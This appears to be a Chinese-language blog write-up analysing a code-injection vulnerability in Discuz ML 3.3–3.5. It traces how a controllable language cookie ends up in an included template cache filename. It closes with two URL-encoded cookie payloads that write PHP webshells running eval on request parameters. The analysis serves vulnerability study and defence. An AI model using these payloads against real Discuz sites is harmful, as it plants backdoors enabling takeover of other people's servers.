环境
1 | win10 |
存在rce的版本
1 | discuz ML 3.3~discuz ML 3.5 |
分析过程
- 根据payload知道漏洞出在
source\module\portal\portal_index.php
处 - 跟进
template()(/source/function/function_core.php)
程序最终返回了
DISCUZ_ROOT.$cachefile
其中$cachefile
为1
./data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php
将缓存文件写在了
/data/template/
目录下,文件名由DISCUZ_LANG
等多个变量组成- 从程序全部变量
$_G['config']['output']['language']
中获取了DISCUZ_LANG
。系统通过Cookie
获取了语言的值,并在341行定义了DISCUZ_LANG
,值为Cookie中获取到的$lng
。 - 外部参数
$lng
(即language语言)可控,导致template
函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once
包含一下最终导致了代码注入 - 写入webshell
1
2sc%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
sc%27.+file_put_contents(%27s.php%27%2cstrtoupper(urldecode(%27%3c%3fphp+eval(%24_post%5b%221%22%5d)%3b%3f%3e%27))).%27
PS:文件包含也会执行代码
参考文献:
https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&chksm=fc4748ffcb30c1e99aefd6cb5536a1e2eac2ba836c631c9533f3ba3d8669dbaa7ec0c6f60eb6&mpshare=1&scene=23&srcid=#rd
https://od0d.cn/2019/07/11/Discuz-ML-V3-X-%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90%E8%B8%A9%E5%9D%91%E7%BB%8F%E5%8E%86/